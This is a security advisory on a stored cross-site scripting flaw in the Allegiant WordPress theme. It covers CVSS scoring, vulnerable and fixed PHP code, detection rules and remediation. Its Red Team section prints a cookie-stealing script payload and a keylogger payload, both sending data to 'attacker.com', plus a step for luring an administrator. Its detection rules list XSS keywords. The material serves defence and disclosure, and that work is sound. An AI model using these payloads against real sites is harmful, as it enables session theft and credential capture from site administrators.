CVE-2024-43329

Executive Summary

CVE-2024-43329 is a Stored Cross-Site Scripting (XSS) vulnerability in the Allegiant WordPress theme by WP Chill, affecting versions up to and including 1.2.7. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into web pages generated by the theme. When an administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability resides in the theme's improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed through the official WordPress theme repository and third-party marketplaces. Users who have installed the Allegiant theme via the WordPress admin panel or manually are at risk. Since the theme is not a package manager artifact (NPM, PyPI, etc.), supply chain risks are limited to the theme's update mechanism. However, the lack of a patch means that any site running this theme is vulnerable until the theme is removed or manually hardened.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required – The victim must view the compromised page.
• Scope (S): Changed – The vulnerability can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for stored XSS in a widely-used theme makes it a significant risk for WordPress sites with multiple user roles.

Deep Dive & Mechanics

The Allegiant theme fails to sanitize or escape user-supplied input when generating certain dynamic content, such as custom CSS, JavaScript, or shortcode attributes. An attacker with contributor-level access can inject malicious scripts into fields like custom CSS boxes, widget text, or post content that the theme processes without proper validation. When the page is rendered, the injected script is executed in the context of the victim's browser.

Root Cause: The theme uses functions like echo or print to output user input without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses_post()). This allows HTML and JavaScript to be injected.

Attack Flow:

1. Attacker logs in as a contributor.
2. Attacker navigates to a theme customization option (e.g., Custom CSS, Widgets, or a custom post type).
3. Attacker inputs a payload like <script>alert('XSS')</script>.
4. The payload is stored in the database.
5. When an administrator or other user views the affected page, the script executes.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on common WordPress security practices.

Vulnerable Code (example from theme's functions.php or template file):

<?php
// Vulnerable: Direct output without escaping
echo get_theme_mod('allegiant_custom_css');
?>

Patched Code (recommended fix):

<?php
// Patched: Escape output
echo esc_html( get_theme_mod('allegiant_custom_css') );
?>

Explanation: The vulnerable code outputs the value of allegiant_custom_css directly, allowing HTML/JavaScript injection. The patched code uses esc_html() to convert special characters to HTML entities, neutralizing any injected scripts.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site running Allegiant theme <= 1.2.7.
• A contributor-level account.

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Appearance > Customize > Additional CSS.
3. Inject the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the changes.
5. Craft a link to the compromised page and send it to an administrator (social engineering).
6. When the admin views the page, the script executes, sending their session cookie to the attacker's server.

Alternative Payload (for keylogging):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://attacker.com/log.php', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
};
</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual changes to theme customization options (e.g., Custom CSS, Widgets).
• Look for JavaScript code in database fields that should contain only plain text.
• Use a Web Application Firewall (WAF) to block common XSS payloads.

Mitigation:

• Disable the Allegiant theme and switch to a secure alternative.
• If the theme must be used, manually patch the vulnerable files by adding escaping functions.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File System: Modified theme files (e.g., functions.php, header.php) containing unescaped output functions.
• Database: Entries in wp_options (theme mods) or wp_posts containing <script> tags or JavaScript event handlers.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: Unusual changes to theme customization options in WordPress audit logs.

Detection Engineering

YARA Rule

rule CVE_2024_43329_Allegiant_XSS {
    meta:
        description = "Detects vulnerable Allegiant theme files with unescaped output"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-43329"
    strings:
        $unescaped1 = /echo\s+\$[a-zA-Z_]+/ nocase
        $unescaped2 = /print\s+\$[a-zA-Z_]+/ nocase
        $theme_mod = "get_theme_mod("
    condition:
        all of ($unescaped*) and $theme_mod
}

Sigma Rule

title: CVE-2024-43329 - Stored XSS in Allegiant Theme
id: 8a3f2c1e-5d7b-4a9c-8e1f-2b3c4d5e6f7a
status: experimental
description: Detects stored XSS payloads in WordPress theme customization options
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains:
            - "/wp-admin/customize.php"
            - "/wp-admin/widgets.php"
        http.request_body|contains:
            - "<script>"
            - "onload="
            - "onerror="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom CSS (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-43329 - Stored XSS Payload in WordPress Theme"; flow:to_server,established; content:"/wp-admin/customize.php"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Allegiant theme and switch to a secure, actively maintained theme.
2. Audit all user accounts with contributor-level access and remove any that are unnecessary.
3. Scan the WordPress database for stored XSS payloads using a security plugin (e.g., Wordfence, Sucuri).

Long-Term Fixes:

• Manual Patching: If the theme must be used, edit the vulnerable files to add escaping functions (see "Vulnerable vs. Patched Code").
• Update Policy: Ensure all WordPress themes and plugins are kept up to date.
• Security Hardening: Implement a Web Application Firewall (WAF) and Content Security Policy (CSP).

Vendor Status: WP Chill has not released a patch. Users are advised to seek alternative themes.

Valters IT – DevSecOps & Cyber Threat Intelligence